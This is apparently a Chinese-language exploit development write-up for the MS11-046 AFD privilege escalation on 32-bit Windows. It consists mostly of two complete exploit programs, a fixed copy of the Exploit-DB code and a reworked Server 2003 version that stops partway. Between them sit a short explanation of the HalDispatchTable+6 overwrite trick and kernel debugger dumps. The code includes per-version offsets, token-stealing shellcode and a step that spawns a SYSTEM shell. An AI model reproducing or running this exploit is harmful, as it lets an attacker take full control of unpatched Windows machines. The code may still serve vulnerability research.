3) 测试新思路
在https://www.exploit-db.com/exploits/40564处发现了新的利用代码
解决其中的编译错误,能够成功运行
--------------------------------------------------------------------
/*
################################################################
# Exploit Title: Windows x86 (all versions) AFD privilege escalation (MS11-046)
# Fixed for MSVC Compilation
################################################################
*/
#include "stdafx.h"
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <ws2tcpip.h>
#pragma comment (lib, "ws2_32.lib")
////////////////////////////////////////////////////////////////
// DEFINE DATA TYPES
////////////////////////////////////////////////////////////////
typedef enum _KPROFILE_SOURCE {
ProfileTime,
ProfileAlignmentFixup,
ProfileTotalIssues,
ProfilePipelineDry,
ProfileLoadInstructions,
ProfilePipelineFrozen,
ProfileBranchInstructions,
ProfileTotalNonissues,
ProfileDcacheMisses,
ProfileIcacheMisses,
ProfileCacheMisses,
ProfileBranchMispredictions,
ProfileStoreInstructions,
ProfileFpInstructions,
ProfileIntegerInstructions,
Profile2Issue,
Profile3Issue,
Profile4Issue,
ProfileSpecialInstructions,
ProfileTotalCycles,
ProfileIcacheIssues,
ProfileDcacheAccesses,
ProfileMemoryBarrierCycles,
ProfileLoadLinkedIssues,
ProfileMaximum
} KPROFILE_SOURCE, *PKPROFILE_SOURCE;
typedef DWORD (WINAPI *PNTQUERYINTERVAL) (
KPROFILE_SOURCE ProfileSource,
PULONG Interval
);
typedef LONG NTSTATUS;
typedef NTSTATUS (WINAPI *PNTALLOCATE) (
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG ZeroBits,
PULONG RegionSize,
ULONG AllocationType,
ULONG Protect
);
typedef struct _IO_STATUS_BLOCK {
union {
NTSTATUS Status;
PVOID Pointer;
};
ULONG_PTR Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknown;
USHORT LoadCount;
USHORT ModuleNameOffset;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
typedef BOOL (WINAPI *LPFN_ISWOW64PROCESS) (HANDLE, PBOOL);
// [FIX 1] 定义 ZwQuerySystemInformation 的具体函数指针类型
typedef NTSTATUS (WINAPI *PZWQUERYSYSTEMINFORMATION)(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
////////////////////////////////////////////////////////////////
// FUNCTIONS
////////////////////////////////////////////////////////////////
BOOL IsWow64()
{
BOOL bIsWow64 = FALSE;
LPFN_ISWOW64PROCESS fnIsWow64Process;
fnIsWow64Process = (LPFN_ISWOW64PROCESS) GetProcAddress(GetModuleHandle(TEXT("kernel32")), "IsWow64Process");
if(NULL != fnIsWow64Process)
{
if (!fnIsWow64Process(GetCurrentProcess(), &bIsWow64))
{
printf(" [-] Failed (error code: %d)\n", GetLastError());
return -1;
}
}
return bIsWow64;
}
////////////////////////////////////////////////////////////////
// MAIN FUNCTION
////////////////////////////////////////////////////////////////
int main(void)
{
printf("[*] MS11-046 (CVE-2011-1249) x86 exploit\n");
printf(" [*] by Tomislav Paskalev\n");
////////////////////////////////////////////////////////////////
// IDENTIFY TARGET OS ARCHITECTURE AND VERSION
////////////////////////////////////////////////////////////////
printf("[*] Identifying OS\n");
if(IsWow64())
{
printf(" [-] 64-bit\n");
return -1;
}
printf(" [+] 32-bit\n");
OSVERSIONINFOEX osvi;
ZeroMemory(&osvi, sizeof(OSVERSIONINFOEX));
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
GetVersionEx((LPOSVERSIONINFO) &osvi);
unsigned char shellcode_KPROCESS;
unsigned char shellcode_TOKEN;
unsigned char shellcode_UPID;
unsigned char shellcode_APLINKS;
const char **securityPatchesPtr;
int securityPatchesCount;
int lpInBufferSize; // 保持为变量
// ... (OS Check Logic retained) ...
if((osvi.dwMajorVersion == 5) && (osvi.dwMinorVersion == 1) && (osvi.wServicePackMajor == 3))
{
printf(" [+] Windows XP SP3\n");
shellcode_KPROCESS = '\x44';
shellcode_TOKEN = '\xC8';
shellcode_UPID = '\x84';
shellcode_APLINKS = '\x88';
const char *securityPatches[] = {"KB2503665", "KB2592799"};
securityPatchesPtr = securityPatches;
securityPatchesCount = 2;
lpInBufferSize = 0x30;
}
else if((osvi.dwMajorVersion == 5) &&
(osvi.dwMinorVersion == 2) && (osvi.wServicePackMajor == 2)
&& (GetSystemMetrics(89) == 0))
{
printf(" [+] Windows Server 2003 SP2\n");
shellcode_KPROCESS = '\x38';
shellcode_TOKEN = '\xD8';
shellcode_UPID = '\x94';
shellcode_APLINKS = '\x98';
const char *securityPatches[] = {"KB2503665", "KB2592799", "KB2645640", "KB2975684"};
securityPatchesPtr = securityPatches;
securityPatchesCount = 4;
lpInBufferSize = 0x30;
}
else if((osvi.dwMajorVersion == 6)
&& (osvi.dwMinorVersion == 0) && (osvi.wServicePackMajor == 1)
&& (osvi.wProductType == 1))
{
printf(" [+] Windows Vista SP1\n");
shellcode_KPROCESS = '\x48';
shellcode_TOKEN = '\xE0';
shellcode_UPID = '\x9C';
shellcode_APLINKS = '\xA0';
const char *securityPatches[] = {"KB2503665"};
securityPatchesPtr = securityPatches;
securityPatchesCount = 1;
lpInBufferSize = 0x30;
}
else if((osvi.dwMajorVersion == 6)
&& (osvi.dwMinorVersion == 0) && (osvi.wServicePackMajor == 2)
&& (osvi.wProductType == 1))
{
printf(" [+] Windows Vista SP2\n");
shellcode_KPROCESS = '\x48';
shellcode_TOKEN = '\xE0';
shellcode_UPID = '\x9C';
shellcode_APLINKS = '\xA0';
const char *securityPatches[] = {"KB2503665", "KB2975684"};
securityPatchesPtr = securityPatches;
securityPatchesCount = 2;
lpInBufferSize = 0x10;
}
else if((osvi.dwMajorVersion == 6)
&& (osvi.dwMinorVersion == 0)
&& (osvi.wServicePackMajor == 1)
&& (osvi.wProductType != 1))
{
printf(" [+] Windows Server 2008\n");
shellcode_KPROCESS = '\x48';
shellcode_TOKEN = '\xE0';
shellcode_UPID = '\x9C';
shellcode_APLINKS = '\xA0';
const char *securityPatches[] = {"KB2503665"};
securityPatchesPtr = securityPatches;
securityPatchesCount = 1;
lpInBufferSize = 0x10;
}
else if((osvi.dwMajorVersion == 6)
&& (osvi.dwMinorVersion == 0)
&& (osvi.wServicePackMajor == 2) && (osvi.wProductType != 1))
{
printf(" [+] Windows Server 2008 SP2\n");
shellcode_KPROCESS = '\x48';
shellcode_TOKEN = '\xE0';
shellcode_UPID = '\x9C';
shellcode_APLINKS = '\xA0';
const char *securityPatches[] = {"KB2503665", "KB2975684"};
securityPatchesPtr = securityPatches;
securityPatchesCount = 2;
lpInBufferSize = 0x08;
}
else if((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 1) && (osvi.wServicePackMajor == 0))
{
printf(" [+] Windows 7\n");
shellcode_KPROCESS = '\x50';
shellcode_TOKEN = '\xF8';
shellcode_UPID = '\xB4';
shellcode_APLINKS = '\xB8';
const char *securityPatches[] = {"KB2503665"};
securityPatchesPtr = securityPatches;
securityPatchesCount = 1;
lpInBufferSize = 0x20;
}
else if((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 1) && (osvi.wServicePackMajor == 1))
{
printf(" [+] Windows 7 SP1\n");
shellcode_KPROCESS = '\x50';
shellcode_TOKEN = '\xF8';
shellcode_UPID = '\xB4';
shellcode_APLINKS = '\xB8';
const char *securityPatches[] = {"KB2503665", "KB2975684"};
securityPatchesPtr = securityPatches;
securityPatchesCount = 2;
lpInBufferSize = 0x10;
}
else
{
printf(" [-] Unsupported version\n");
return -1;
}
////////////////////////////////////////////////////////////////
// LOCATE REQUIRED OS COMPONENTS
////////////////////////////////////////////////////////////////
printf("[*] Locating required OS components\n");
// [FIX 1] 使用自定义的函数指针类型
PZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation;
ZwQuerySystemInformation = (PZWQUERYSYSTEMINFORMATION)GetProcAddress(
GetModuleHandle("ntdll.dll"), "ZwQuerySystemInformation");
ULONG systemInformation;
ZwQuerySystemInformation(11, (PVOID) &systemInformation, 0, &systemInformation);
ULONG *systemInformationBuffer;
systemInformationBuffer = (ULONG *) malloc(systemInformation * sizeof(*systemInformationBuffer));
if(!systemInformationBuffer)
{
printf(" [-] Could not allocate memory");
return -1;
}
ZwQuerySystemInformation(11, systemInformationBuffer,
systemInformation * sizeof(*systemInformationBuffer), NULL);
ULONG i;
PVOID targetKrnlMdlBaseAddr = NULL;
HMODULE targetKrnlMdlUsrSpcOffs = NULL;
BOOL foundModule = FALSE;
PSYSTEM_MODULE_INFORMATION loadedMdlStructPtr;
loadedMdlStructPtr = (PSYSTEM_MODULE_INFORMATION) (systemInformationBuffer + 1);
for(i = 0; i < *systemInformationBuffer; i++)
{
if(strstr(loadedMdlStructPtr[i].ImageName, "ntkrnlpa.exe"))
{
printf(" [+] ntkrnlpa.exe\n");
targetKrnlMdlUsrSpcOffs = LoadLibraryExA("ntkrnlpa.exe", 0, 1);
targetKrnlMdlBaseAddr = loadedMdlStructPtr[i].Base;
foundModule = TRUE;
break;
}
else if(strstr(loadedMdlStructPtr[i].ImageName, "ntoskrnl.exe"))
{
printf(" [+] ntoskrnl.exe\n");
targetKrnlMdlUsrSpcOffs = LoadLibraryExA("ntoskrnl.exe", 0, 1);
targetKrnlMdlBaseAddr = loadedMdlStructPtr[i].Base;
foundModule = TRUE;
break;
}
}
printf(" [*] Address: %#010x\n", targetKrnlMdlBaseAddr);
printf(" [*] Offset: %#010x\n", targetKrnlMdlUsrSpcOffs);
if(!foundModule)
{
printf(" [-] Could not find ntkrnlpa.exe/ntoskrnl.exe\n");
free(systemInformationBuffer); // 释放内存
return -1;
}
free(systemInformationBuffer);
ULONG_PTR HalDispatchTableUsrSpcOffs;
HalDispatchTableUsrSpcOffs = (ULONG_PTR) GetProcAddress(targetKrnlMdlUsrSpcOffs, "HalDispatchTable");
if(!HalDispatchTableUsrSpcOffs)
{
printf(" [-] Could not find HalDispatchTable\n");
return -1;
}
printf(" [+] HalDispatchTable\n");
printf(" [*] Offset: %#010x\n", HalDispatchTableUsrSpcOffs);
ULONG_PTR HalDispatchTableKrnlSpcAddr;
HalDispatchTableKrnlSpcAddr = HalDispatchTableUsrSpcOffs - (ULONG_PTR) targetKrnlMdlUsrSpcOffs;
HalDispatchTableKrnlSpcAddr += (ULONG_PTR) targetKrnlMdlBaseAddr;
PNTQUERYINTERVAL NtQueryIntervalProfile;
NtQueryIntervalProfile = (PNTQUERYINTERVAL) GetProcAddress(GetModuleHandle("ntdll.dll"),
"NtQueryIntervalProfile");
if(!NtQueryIntervalProfile)
{
printf(" [-] Could not find NtQueryIntervalProfile\n");
return -1;
}
printf(" [+] NtQueryIntervalProfile\n");
printf(" [*] Address: %#010x\n", NtQueryIntervalProfile);
FARPROC ZwDeviceIoControlFile;
ZwDeviceIoControlFile = GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwDeviceIoControlFile");
if(!ZwDeviceIoControlFile)
{
printf(" [-] Could not find ZwDeviceIoControlFile\n");
return -1;
}
printf(" [+] ZwDeviceIoControlFile\n");
printf(" [*] Address: %#010x\n", ZwDeviceIoControlFile);
////////////////////////////////////////////////////////////////
// SETUP EXPLOITATION PREREQUISITE
////////////////////////////////////////////////////////////////
printf("[*] Setting up exploitation prerequisite\n");
printf (" [*] Initialising Winsock DLL\n");
WORD wVersionRequested;
WSADATA wsaData;
int wsaStartupErrorCode;
wVersionRequested = MAKEWORD(2, 2);
wsaStartupErrorCode = WSAStartup(wVersionRequested, &wsaData);
if(wsaStartupErrorCode != 0)
{
printf(" [-] Failed (error code: %d)\n", wsaStartupErrorCode);
return -1;
}
printf(" [+] Done\n");
printf(" [*] Creating socket\n");
SOCKET targetDeviceSocket = INVALID_SOCKET;
targetDeviceSocket = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
if(targetDeviceSocket == INVALID_SOCKET)
{
printf(" [-] Failed (error code: %ld)\n", WSAGetLastError());
return -1;
}
printf(" [+] Done\n");
struct sockaddr_in clientService;
clientService.sin_family = AF_INET;
clientService.sin_addr.s_addr = inet_addr("127.0.0.1");
clientService.sin_port = htons(0);
printf(" [*] Connecting to closed port\n");
int connectResult;
connectResult = connect(targetDeviceSocket, (SOCKADDR *) &clientService, sizeof(clientService));
if (connectResult == 0)
{
printf (" [-] Connected (error code: %ld)\n", WSAGetLastError());
return -1;
}
printf(" [+] Done\n");
////////////////////////////////////////////////////////////////
// CREATE TOKEN STEALING SHELLCODE
////////////////////////////////////////////////////////////////
printf("[*] Creating token stealing shellcode\n");
unsigned char shellcode[] =
{
0x52, // PUSH EDX
0x53, // PUSH EBX
0x33,0xC0, // XOR EAX, EAX
0x64,0x8B,0x80,0x24,0x01,0x00,0x00, // MOV EAX, FS:[EAX+0x124]
0x8B,0x40,shellcode_KPROCESS, // MOV EAX, [EAX+_KPROCESS]
0x8B,0xC8, // MOV ECX, EAX
0x8B,0x98,shellcode_TOKEN,0x00,0x00,0x00, // MOV EBX, [EAX+_TOKEN]
0x8B,0x80,shellcode_APLINKS,0x00,0x00,0x00, // MOV EAX, [EAX+_APLINKS]
0x81,0xE8,shellcode_APLINKS,0x00,0x00,0x00, // SUB EAX, _APLINKS
0x81,0xB8,shellcode_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00, // CMP [EAX+_UPID], 0x4
0x75,0xE8, // JNZ/JNE
0x8B,0x90,shellcode_TOKEN,0x00,0x00,0x00, // MOV EDX, [EAX+_TOKEN]
0x8B,0xC1, // MOV EAX, ECX
0x89,0x90,shellcode_TOKEN,0x00,0x00,0x00, // MOV [EAX+_TOKEN], EDX
0x5B, // POP EBX
0x5A, // POP EDX
0xC2,0x08 // RET 8
};
printf(" [*] Shellcode assembled\n");
printf(" [*] Allocating memory\n");
LPVOID shellcodeAddress;
shellcodeAddress = VirtualAlloc((PVOID) 0x02070000, 0x20000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
int errorCode = 0;
if(shellcodeAddress == NULL)
{
errorCode = GetLastError();
if(errorCode == 487)
{
printf(" [!] Could not reserve entire range\n");
printf(" [*] Rerun exploit\n");
}
else
printf(" [-] Failed (error code: %d)\n", errorCode);
return -1;
}
printf(" [+] Address: %#010x\n", shellcodeAddress);
// [FIX 2] 修复 void* 指针运算问题,强转为 char* (或 unsigned char*)
memset(shellcodeAddress, 0x90, 0x20000);
memcpy(((char*)shellcodeAddress + 0x10000), shellcode, sizeof(shellcode));
printf(" [*] Shellcode copied\n");
////////////////////////////////////////////////////////////////
// EXPLOIT THE VULNERABILITY
////////////////////////////////////////////////////////////////
printf("[*] Exploiting vulnerability\n");
printf(" [*] Sending AFD socket connect request\n");
// [FIX 3] 修复变长数组定义错误,使用 malloc
DWORD *lpInBuffer = (DWORD*)malloc(lpInBufferSize * sizeof(DWORD));
if (!lpInBuffer) return -1;
memset(lpInBuffer, 0, (lpInBufferSize * sizeof(DWORD)));
lpInBuffer[3] = 0x01;
lpInBuffer[4] = 0x20;
ULONG lpBytesReturned = 0;
if(DeviceIoControl(
(HANDLE) targetDeviceSocket,
0x00012007,
(PVOID) lpInBuffer,
lpInBufferSize * sizeof(DWORD), // [FIX 3] 修正大小传递,因为变成了指针
(PVOID) (HalDispatchTableKrnlSpcAddr + 0x6), 0x0,
&lpBytesReturned, NULL
) == 0)
{
errorCode = GetLastError();
if(errorCode == 1214)
{
printf(" [+] Done\n");
}
else if(errorCode == 998)
{
printf(" [!] Target patched\n");
printf(" [*] Possible security patches\n");
for(int j = 0; j < securityPatchesCount; j++) // 这里的 i 需要改为 j 或重新声明 int i,这里直接用 int j
printf(" [*] %s\n", securityPatchesPtr[j]);
free(lpInBuffer);
return -1;
}
else
{
printf(" [-] Failed (error code: %d)\n", errorCode);
free(lpInBuffer);
return -1;
}
}
free(lpInBuffer); // 释放内存
printf(" [*] Elevating privileges to SYSTEM\n");
ULONG outInterval = 0;
// [FIX 4] 修复枚举类型转换错误
NtQueryIntervalProfile((KPROFILE_SOURCE)2, &outInterval);
printf(" [+] Done\n");
printf(" [*] Spawning shell\n");
system ("c:\\windows\\system32\\cmd.exe /K cd c:\\windows\\system32");
printf("\n[*] Exiting SYSTEM shell\n");
WSACleanup();
return 1;
}
--------------------------------------------------------------------
分析上面的代码主要有几个核心的不同点
1. 使用connect而不是用bind
2. 分配的地址是0x02070000
3. 使用的是HalDispatchTable+6而不是HalDispatchTable+4
其实认真分析其中的代码就可以简单的找到其中为什么会这样
我们分配的地址是0x000001,目的是将SUCCESS的信息写入HalDispatchTable+4的位置
我们是希望AfdConnect的请求一定要成功,否则的话,0就无法覆盖HalDispatchTable+4的位置。
所以我尝试了各种各样的方法都没有办法成功。
上面的代码就不要求必须成功,它期望AfdConnect错误,并且错误码是
STATUS_CONNECTION_REFUSED(0xC0000207)
这样的话就可以切割该错误码:0207 xxxx
通过覆盖地址02070000 - 0207ffff 为 0x90
shellcode的起始地址为02080000,这样可以保证xxxx所代表的值一定会被0x90覆盖,
当执行到的时候,会成功执行shellcode,至于是使用connect还是bind都可以,
只要是返回错误0xC0000207即可
具体测试如下
--------------------------------------------------------------------
2: kd> dd HalDispatchTable
80894078 00000003 c0000207 80a779f4 808e7028 <---
80894088 00000000 8081a784 808e61d2 808e6a68
80894098 808e5568 808e57d0 8080d592 80865c60
808940a8 80865c60 80a76d04 80a77894 80a5ae06
808940b8 80a772fe 808e7044 8081ab62 8081ab70
808940c8 80a779ea 8081ab70 00000002 8080d592
808940d8 8080d592 80a76d30 808e7036 80a71e54
808940e8 80a71e0e f733f022 f733ee46 80a5caa6
0: kd> dd HalDispatchTable
80894078 00000003 02075a1e 80a7c000 808e7028
80894088 00000000 8081a784 808e61d2 808e6a68
80894098 808e5568 808e57d0 8080d592 80865c60
808940a8 80865c60 80a76d04 80a77894 80a5ae06
808940b8 80a772fe 808e7044 8081ab62 8081ab70
808940c8 80a779ea 8081ab70 00000002 8080d592
808940d8 8080d592 80a76d30 808e7036 80a71e54
808940e8 80a71e0e f733f022 f733ee46 80a5caa6
--------------------------------------------------------------------
理解原理,再来修复我们之前使用的代码
--------------------------------------------------------------------
#include "stdafx.h"
#include <stdio.h>
#include <Winsock2.h>
#include <Ws2tcpip.h>
#include <ntsecapi.h>
#pragma comment(lib, "ws2_32.lib")
#define AFD_CONNECT 0x12007
typedef enum _KPROFILE_SOURCE {
ProfileTime,
ProfileAlignmentFixup,
ProfileTotalIssues,
ProfilePipelineDry,
ProfileLoadInstructions,
ProfilePipelineFrozen,
ProfileBranchInstructions,
ProfileTotalNonissues,
ProfileDcacheMisses,
ProfileIcacheMisses,
ProfileCacheMisses,
ProfileBranchMispredictions,
ProfileStoreInstructions,
ProfileFpInstructions,
ProfileIntegerInstructions,
Profile2Issue,
Profile3Issue,
Profile4Issue,
ProfileSpecialInstructions,
ProfileTotalCycles,
ProfileIcacheIssues,
ProfileDcacheAccesses,
ProfileMemoryBarrierCycles,
ProfileLoadLinkedIssues,
ProfileMaximum
} KPROFILE_SOURCE, *PKPROFILE_SOURCE;
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation,
SystemProcessorInformation,
SystemPerformanceInformation,
SystemTimeOfDayInformation,
SystemNotImplemented1,
SystemProcessesAndThreadsInformation,
SystemCallCounts,
SystemConfigurationInformation,
SystemProcessorTimes,
SystemGlobalFlag,
SystemNotImplemented2,
SystemModuleInformation,
SystemLockInformation,
SystemNotImplemented3,
SystemNotImplemented4,
SystemNotImplemented5,
SystemHandleInformation,
SystemObjectInformation,
SystemPagefileInformation,
SystemInstructioEmulationCounts,
SystemInvalidInfoClass1,
SystemCacheInformation,
SystemPoolTagInformation,
SystemProcessorStatistics,
SystemDpcInformation,
SystemNotImplemented6,
SystemLoadImage,
SystemUnloadImage,
SystemTimeAdjustment,
SystemNotImplemented7,
SystemNotImplemented8,
SystemNotImplemented9,
SystemCrashDumpInformation,
SystemExceptionInformation,
SystemCrashDumpStateInformation,
SystemKernelDebuggerInformation,
SystemContextSwitchInformation,
SystemRegisterQuotaInformation,
SystemLoadAndCallImage,
SystemPrioritySeparation
} SYSTEM_INFORMATION_CLASS;
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknown;
USHORT LoadCount;
USHORT ModuleNameOffset;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
// 模拟 TDI 地址结构
typedef struct _TDI_ADDRESS_IP {
USHORT sin_port;
ULONG in_addr;
UCHAR sin_zero[8];
} TDI_ADDRESS_IP, *PTDI_ADDRESS_IP;
typedef struct _TA_ADDRESS_IP {
USHORT AddressLength; // 长度
USHORT AddressType; // 类型
TDI_ADDRESS_IP Address;
} TA_ADDRESS_IP, *PTA_ADDRESS_IP;
typedef struct _TRANSPORT_ADDRESS_IP {
LONG TAAddressCount; // 必须为 1
TA_ADDRESS_IP Address[1];
} TRANSPORT_ADDRESS_IP, *PTRANSPORT_ADDRESS_IP;
// 模拟 AFD 连接信息结构 (对齐处理)
#pragma pack(push, 1)
typedef struct _AFD_CONNECT_JOIN_INFO_PAYLOAD {
BOOLEAN SanActive; // Offset 0
UCHAR Padding[3]; // Offset 1-3 (对齐到 4 字节)
HANDLE RootEndpoint; // Offset 4
HANDLE ConnectEndpoint;// Offset 8
TRANSPORT_ADDRESS_IP RemoteAddress; // Offset 12
} AFD_CONNECT_JOIN_INFO_PAYLOAD, *PAFD_CONNECT_JOIN_INFO_PAYLOAD;
#pragma pack(pop)
typedef NTSTATUS(NTAPI *ZWQUERYINTERNALPROFILE)(ULONG, PULONG);
typedef NTSTATUS(NTAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);
typedef NTSTATUS(NTAPI *ZWALLOCATEVIRTUALMEMORY)(HANDLE,
PVOID *,
ULONG,
PULONG,
ULONG,
ULONG);
ZWQUERYINTERNALPROFILE ZwQueryIntervalProfile;
ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation;
ZWALLOCATEVIRTUALMEMORY ZwAllocateVirtualMemory;
void ErrorQuit(char *pMsg) {
printf("%sError Code:%d\n", pMsg, GetLastError());
ExitProcess(0);
}
void GetFunction() {
HMODULE hNtdll;
hNtdll = LoadLibrary("ntdll.dll");
if (hNtdll == NULL) {
ErrorQuit("LoadLibrary() failed.\n");
}
ZwQueryIntervalProfile = (ZWQUERYINTERNALPROFILE)GetProcAddress(
hNtdll,
"NtQueryIntervalProfile");
if (ZwQueryIntervalProfile == NULL) {
ErrorQuit("GetProcAddress() failed.\n");
}
ZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)GetProcAddress(
hNtdll,
"ZwQuerySystemInformation");
if (ZwQuerySystemInformation == NULL) {
ErrorQuit("GetProcessAddress() failed.\n");
}
ZwAllocateVirtualMemory = (ZWALLOCATEVIRTUALMEMORY)GetProcAddress(
hNtdll,
"NtAllocateVirtualMemory");
if (ZwAllocateVirtualMemory == NULL) {
ErrorQuit("GetProcAddress() failed.\n");
}
FreeLibrary(hNtdll);
}
ULONG GetKernelBase(char *KernelName) {
ULONG i, Byte, ModuleCount, KernelBase;
PVOID pBuffer;
PSYSTEM_MODULE_INFORMATION pSystemModuleInformation;
PCHAR pName;
ZwQuerySystemInformation(SystemModuleInformation,
(PVOID)&Byte,
0,
&Byte);
if ((pBuffer = malloc(Byte)) == NULL) {
ErrorQuit("malloc failed.\n");
}
if (ZwQuerySystemInformation(SystemModuleInformation,
pBuffer,
Byte,
&Byte)) {
ErrorQuit("ZwQuerySystemInformation failed\n");
}
ModuleCount = *(PULONG)pBuffer;
pSystemModuleInformation =
(PSYSTEM_MODULE_INFORMATION)((PUCHAR)pBuffer + sizeof(ULONG));
for (i = 0; i < ModuleCount; i++) {
if ((pName = strstr(pSystemModuleInformation->ImageName,
"ntoskrnl.exe")) != NULL) {
KernelBase = (ULONG)pSystemModuleInformation->Base;
printf("Kernel is %s\n", pSystemModuleInformation->ImageName);
free(pBuffer);
strcpy(KernelName, "ntoskrnl.exe");
return KernelBase;
}
if ((pName = strstr(pSystemModuleInformation->ImageName,
"ntkrnlpa.exe")) != NULL) {
KernelBase = (ULONG)pSystemModuleInformation->Base;
printf("Kernel is %s(0x%p)\n",
pSystemModuleInformation->ImageName,
KernelBase);
free(pBuffer);
strcpy(KernelName, "ntkrnlpa.exe");
return KernelBase;
}
pSystemModuleInformation++;
}
free(pBuffer);
return 0;
}
int main() {
WSADATA ws;
ULONG junk, KernelBase, dwShellSize = 0x20000;
ULONG_PTR HalDispatchTable;
char KernelName[64];
OSVERSIONINFO ovi;
HMODULE hKernel;
// LPVOID addr = (LPVOID)0x00000000;
// LPVOID addr = (LPVOID)0x00000001;
LPVOID addr = (LPVOID)0x02070000;
SOCKET tcp_socket;
struct sockaddr_in peer;
KPROFILE_SOURCE ProfileSource;
ULONG_PTR info_result;
PROCESS_INFORMATION pi;
STARTUPINFOA stStartup;
AFD_CONNECT_JOIN_INFO_PAYLOAD payload;
NTSTATUS status, alloc_status;
struct addrinfo *result = NULL,
*ptr = NULL,
hints;
WSAStartup(0x0202, &ws);
printf("[+] Get function address...");
GetFunction();
printf("OK!\n");
printf("[+] get kernel base...");
KernelBase = GetKernelBase(KernelName);
if (!KernelBase) {
ErrorQuit("failed!\n");
}
printf("OK!\n");
// 判断OS版本
ovi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
if (!GetVersionEx(&ovi)) {
ErrorQuit("GetVersionEx() failed.\n");
}
if (ovi.dwMajorVersion != 5 && ovi.dwMinorVersion != 2) {
ErrorQuit("Not Windows 2003.\n");
}
printf("[+] load kernel library: %s...", KernelName);
hKernel = LoadLibrary(KernelName);
if (!hKernel) {
ErrorQuit("failed!\n");
}
printf("OK!\n");
HalDispatchTable = (ULONG_PTR)GetProcAddress(hKernel, "HalDispatchTable");
HalDispatchTable += KernelBase - (ULONG)hKernel;
printf("[+] HalDispatchTable found \t\t\t [ 0x%p ]\n", HalDispatchTable);
// 分配内存
printf("[+] allocate memory at [0x%p]...", addr);
alloc_status = ZwAllocateVirtualMemory(INVALID_HANDLE_VALUE,
&addr,
0,
&dwShellSize,
MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE);
if (alloc_status != 0) {
ErrorQuit("failed!\n");
}
printf("OK!\n");
printf("[+] shellcode addr: %x\n", addr);
// 准备sc
memset(addr, 0x90, dwShellSize);
unsigned char shellcode[] = {
0x90, // nop
0x90, // nop
0x90, // nop
0x90, // nop
0x90, // nop
0x90, // nop
0x90, // nop
0xCC, // nop
0x60, // pusha
0x9c, // pushf
0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, // mov eax, fs:[124]
0x8b, 0xb0, 0x18, 0x02, 0x00, 0x00, // mov esi,DWORD PTR [eax+0x218]
0x89, 0xf0, // mov eax,esi
// <search2k3sp1>:
0x8b, 0x80, 0x98, 0x00, 0x00, 0x00, // mov eax,DWORD PTR [eax+0x98]
0x2d, 0x98, 0x00, 0x00, 0x00, // sub eax,0x98
0x8b, 0x90, 0x94, 0x00, 0x00, 0x00, // mov edx,DWORD PTR [eax+0x94]
0x83, 0xfa, 0x04, // cmp edx,0x4
0x75, 0xea, // jne 17 <search2k3sp1>
0x8b, 0x80, 0xd8, 0x00, 0x00, 0x00, // mov eax,DWORD PTR [eax+0xd8]
0x89, 0x86, 0xd8, 0x00, 0x00, 0x00, // mov DWORD PTR [esi+0xd8],eax
0x9d, // popf
0x61, // popa
0xc2, 0x10, 0x00 // ret 0x10
};
memcpy((void*)((BYTE*)addr + 0x10000),
(void*)shellcode,
sizeof(shellcode));
peer.sin_family = AF_INET;
peer.sin_port = htons(0);
// inet_addr("127.0.0.1");
// peer.sin_addr.s_addr = 0x100007f;
peer.sin_addr.s_addr = inet_addr("127.0.0.1");;
tcp_socket = socket(AF_INET, SOCK_STREAM, 0);
// if (connect(tcp_socket,
// (struct sockaddr *)&peer,
// sizeof(struct sockaddr)) == 0) {
// closesocket(tcp_socket);
// WSACleanup();
// ErrorQuit("connect failed.\n");
// }
if (bind(tcp_socket,
(struct sockaddr *)&peer,
sizeof(struct sockaddr))==SOCKET_ERROR) {
closesocket(tcp_socket);
WSACleanup();
ErrorQuit("bind failed.\n");
}
printf("[+] Socket bound successfully (State transitioned to Bound).\n");
memset(&payload, 0, sizeof(payload));
payload.SanActive = FALSE;
payload.RootEndpoint = NULL;
payload.ConnectEndpoint = NULL;
// bypass context->RemoteAddress.TAAddressCount != 1
payload.RemoteAddress.TAAddressCount = 1;
// 关键:绕过长度检查
// RemoteAddressLength 计算基于 InputBufferLength
// 内部 AddressLength 必须匹配
payload.RemoteAddress.Address[0].AddressLength = sizeof(TDI_ADDRESS_IP); // 14
payload.RemoteAddress.Address[0].AddressType = 2; // TDI_ADDRESS_TYPE_IP
// 填充一个有效的 IP 地址,增加成功返回 STATUS_SUCCESS 的几率
payload.RemoteAddress.Address[0].Address.sin_port = htons(0);
payload.RemoteAddress.Address[0].Address.in_addr = inet_addr("127.0.0.1");
printf("[+] Overwriting HalDispatchTable with those bytes...\n");
// system("pause");
DeviceIoControl((HANDLE)tcp_socket,
AFD_CONNECT,
(LPVOID)&payload,
sizeof(payload),
(LPVOID)(HalDispatchTable+6),
0,
&junk,
NULL);
printf("\n\n");
printf("[+] Executing shellcode...");
ProfileSource = ProfileTotalIssues;
ZwQueryIntervalProfile(ProfileSource, &info_result);
printf("OK!\n");
printf("[+] Create a new process...");
